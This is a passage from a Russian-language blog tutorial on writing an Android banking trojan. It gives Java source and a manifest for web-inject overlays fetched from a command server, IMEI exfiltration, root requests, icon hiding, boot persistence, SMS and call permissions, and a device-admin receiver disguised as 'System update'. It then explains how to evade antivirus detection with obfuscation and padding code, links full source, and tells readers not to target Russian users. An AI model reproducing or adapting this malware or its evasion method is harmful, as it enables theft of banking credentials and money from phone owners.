mAppsBuffer = withoutRealApps;
} else {
mAppsBuffer = inputApps;
}

Set<String> set = new HashSet<>(resultRealApps);
return (set.size() > 0) ? set.toArray(new String[set.size()]) : new String[]{""};
}catch (Exception e)
{
String[] s={""};
return s;
}
}
}


Активити injectionActivity
package com.example.livemusay.myapplication;

import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;

public class injectionActivity extends Activity {
secFunctions SF = new secFunctions();
constants const_ = new constants();
@SuppressLint("SetJavaScriptEnabled")
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_inj);
}
@Override
protected void onStart() {
super.onStart();
Intent intent = getIntent();
String str = intent.getStringExtra("str");

WebView webView = (WebView) findViewById(R.id.webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebViewClient(new WebViewClient());
webView.setWebChromeClient(new WebChromeClient());

//загружаем с админки php инжект
webView.loadUrl(const_.url+"/inj/" + str + ".php?p=" + SF.trafEnCr(SF.IMEI(this)));
}

@Override
protected void onStop() {
super.onStop();

finish();
}

@Override
protected void onPause() {
super.onStop();

finish();
}

@Override
public void onDestroy(){
super.onDestroy();

startService(new Intent(this, injectionService.class));
}
}


И теперь наполним наш MainActivity
package com.example.livemusay.myapplication;

import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;

public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//Запуск root прав
goR0();

//запуск нашего сервиса
startService(new Intent(this, StartWhile.class));

//пробуждаем устройсво через 5 секунд
AlarmManager LO = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, AlarM.class), 0);
((AlarmManager) LO).setRepeating(LO.RTC_WAKEUP, System.currentTimeMillis(), 5000, localPendingIntent);

//скрываем иконку
String pna = getApplicationContext().getPackageName();
ComponentName CTD = new ComponentName(pna, pna + ".MainActivity");
getPackageManager().setComponentEnabledSetting(CTD, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

//закрываем активити
finish();
}

private void goR0()//функция root прав
{
Intent di = new Intent(MainActivity.this, goR00t.class);
di.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(di);
}
}


Нам нужно обязательно прописать разрешения в манифест, он будет выглядеть так:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="__tp://schemas.android.com/apk/res/android"
xmlns:tools="__tp://schemas.android.com/tools"
package="com.example.livemusay.myapplication">

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.QUICKBOOT_POWERON" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.GET_TASKS" />
<uses-permission android:name="android.permission.CALL_PHONE" />

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>


<receiver android:name=".StartBoot">
<intent-filter android:priority="100">
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
<action android:name="com.htc.intent.action.QUICKBOOT_POWERON" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.intent.action.PHONE_STATE" />
<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
<action android:name="android.intent.action.ACTION_BATTERY_LOW" />
<action android:name="android.intent.action.ACTION_BATTERY_OKAY" />
<action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
<action android:name="android.intent.action.REBOOT" />

<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</receiver>

<service
android:name=".StartWhile"
android:exported="false" />

<receiver
android:name=".AlarM"
android:process=":rt" />

<service
android:name=".delSoundSWS"
android:exported="false" />
<service
android:name=".injectionService"
android:enabled="true"
android:exported="true" />

<activity
android:name=".injectionActivity"
android:label=""
tools:ignore="HardcodedText" />

<receiver
android:name=".DAdm"
android:label="System update"
android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data
android:name="android.app.device_admin"
android:resource="@layout/r_l" />

<intent-filter android:priority="111">
<action android:name="android.app.action.DEVICE_ADMIN_DISABLED" />
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>

<activity
android:name=".goR00t"
android:label="" />
<activity
android:name=".Press"
android:label="" />
</application>
</manifest>


Теперь с компилируем проект release(Build->Generate Signed APK...)
и так мы получаем веc APK 54кб, не плохо, нужно проверить детект!



Хм... я же обещал 0 детектов, нужно подумать как убрать детект.
Ладно, добавим ка мы либу com.google.android.support:wearable:2.0.0-alpha3
Open Module Settings -> Dependencies -> Зеленый крестик -> Library dependency и выбираем либу

Далее нужно сделать обфускацию, будем использовать стандартный обфускатор ProGuard, идем в файл(в проекте) build.gradle ищем такую запись "minifyEnabled false", меняем false на true и снова компилируем проект release(Build->Generate Signed APK...)

И мы получаем 171кб, ну это не критично! Проверим на детект:

отлично, детекта нет, покажем касперскому

Все намного проще, АВ берут действующий код, переводят в проценты и ищет сигнатуру в коде, такую как методы отправки смс, запроса root прав, скрытия иконки и т.д., далее они просто сравнивают проценты и количество сигнатур, поэтому нам нужно увеличить процент всего кода(мусором можно), вот и все!

Теперь нужно написать админку, описывать ее не буду, так как в конце статьи выложу исходники.

Скрин админки


Исходники:
__tps://yadi.sk/d/ZzeDwbAr36D9CM password: qweasd

Ну вот мы и рассмотрели разработку Андроид бота, да и не только, так же один из вариантов борьбы с детектом! зы Ребят, прошу не работайте по ру!

by maza-in

Комментарии

Эту запись еще никто не прокомментировал!

Необходимо зарегистрироваться для комментирования записи!

Популярные теги

android virus вирус урок tutorial bot malware java антивирус бабы apk antivirus отстук loader чистка size 6.0 с generator Хакер Андроид ВИРУС потеря injection maza-in хуита мразь жена измена деньги нуля хакер пидоры взлом trojan androidbot easy Обзор слежка шмары control троян hack ios loki bankbot [Обзор]android api23 друзья суки бляди перехват приложения apps данные хранение Вирусы смс sms monitoring knock debug gate админка studio adb окружение андроид small gingerbread телки генератор нищеброды лоадер dropper banker droidkungfu мониторинг детект detect детекты check clean wifi hacking

Поддержка для автора

Вы можете помочь автору блога, пожертвовав ему любую сумму.